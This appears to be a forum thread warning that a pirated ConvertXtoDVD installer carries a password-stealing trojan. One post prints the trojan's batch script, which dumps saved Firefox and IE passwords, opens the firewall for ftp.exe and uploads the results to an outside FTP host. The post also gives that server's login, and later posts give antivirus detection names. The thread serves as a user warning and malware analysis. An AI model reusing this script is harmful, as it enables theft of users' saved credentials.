FAKE
THAT IS OFFICIAL 3 1 2 34

GET PROBLEMS WITH IT (WAITING FOR AN UPDATE)
Version: VSO ConvertXtoDVD 3.1.2.34
OS: Windows Vista x86

I had tried 3.1.2.34 and some previous versions - encountered this issue.

The converting progress always hang at 97.6% (when the size reached 3.96 GB). I have checked the disk spaces and no disk space issue. I have around 6GB left in C:\ (VSO installed) and 9GB left in D:\ (temporary files).

When it reaches 97.6%, it hang for more than 10 hours. I even can't cancel it and have to terminate the program.

Updates

DOWNLOAD FROM RS IS A BETA (3.1.2.36_2b)
3.1.3 does not exist and betas are not yet tested

Just wait for an official release

Fake.

Shame, 9Down.

TROJAN!!!!!

Check yourself. Run the setup. Look in your temp folder for 2.exe and runtime.exe and more. It tries to steal your saved passwords in Firefox and IE.

Setup filesize with trojan 16 652 800 bytes
Setup filesize without trojan 15 528 800 bytes

Here a script that the trojan runs:
@echo off
set restmpdir=C:\Users\\AppData\Local\Temp\bdtmp\
set bfcec=C:\Users\\AppData\Local\Temp\bdtmp\tmp7970.exe
REM HideSelf
%TEMP%\dependencies.exe >> %TEMP%\%COMPUTERNAME%ff.txt
%TEMP%\runtime.exe /stext %TEMP%\%COMPUTERNAME%ie7.txt
netsh firewall add allowedprogram %SYSTEMROOT%\system32\ftp.exe "File Transfer Protocol" ENABLE
@echo off
set bat=%TEMP%\ftp.dat
echo phynxz>> %bat%
echo cyberraid>> %bat%
echo ascii>> %bat%
echo put %TEMP%\%COMPUTERNAME%ff.txt>> %bat%
echo put %TEMP%\%COMPUTERNAME%ie7.txt>> %bat%
echo quit>> %bat%

ftp -s:%TEMP%\ftp.dat phynxz.vndv.com


I've looked at it more closely. It uses a batch script and two common tools for finding passwords. One of them is this http://www.nirsoft.net/utils/internet_explorer_password.html. I haven't identified the other yet. I discovered it with Kaspersky Internet Security. Not because it identified it as a virus or trojan. It did not. But KIS 2009 asked if it should allow 2.exe to run. I found it strange as the setup was already finished.

I've seen this file spread all over the internet. I've warned some of the sites about it.

I found the login to the hackers ftp that his trojan uses. Here it is.
ip: phynxz.vndv.com
username: phynxz
password: cyberraid

sleeptalker

Wery big thancs on Your data! I fownd this mirror (primary FTP is already crached - ovner on this server deleted SFX RAR archive included only 65 Tb "0" (zeros) - your disks system is overflow/:)

connector.exe is created with Batch File Compiler http://www.bdargo.com)

No trojans in ConvertXtoDVD

The Trojan Remove (v6.7.0 update) does not detect anything.

@ hades59 , did you contact VSO to see how fix this problem ?
and I confirm the version 3.1.3 is only a beta now, not stable at all. it will include .iso output support

supermimai

This trojan is added in to new antivirus base KIS/KAV as Trojan-PSW.Win32.IEPass.a and DrWeb as Trojan.PWS.Firefox.1. Please, read russian information on http://virusinfo.info/showthread.php?p=252257

"Антивирус Касперского уже детектировал его как Trojan-PSW.Win32.IEPass.a
В лаборатории DrWeb его добавили в базы как Trojan.PWS.Firefox.1"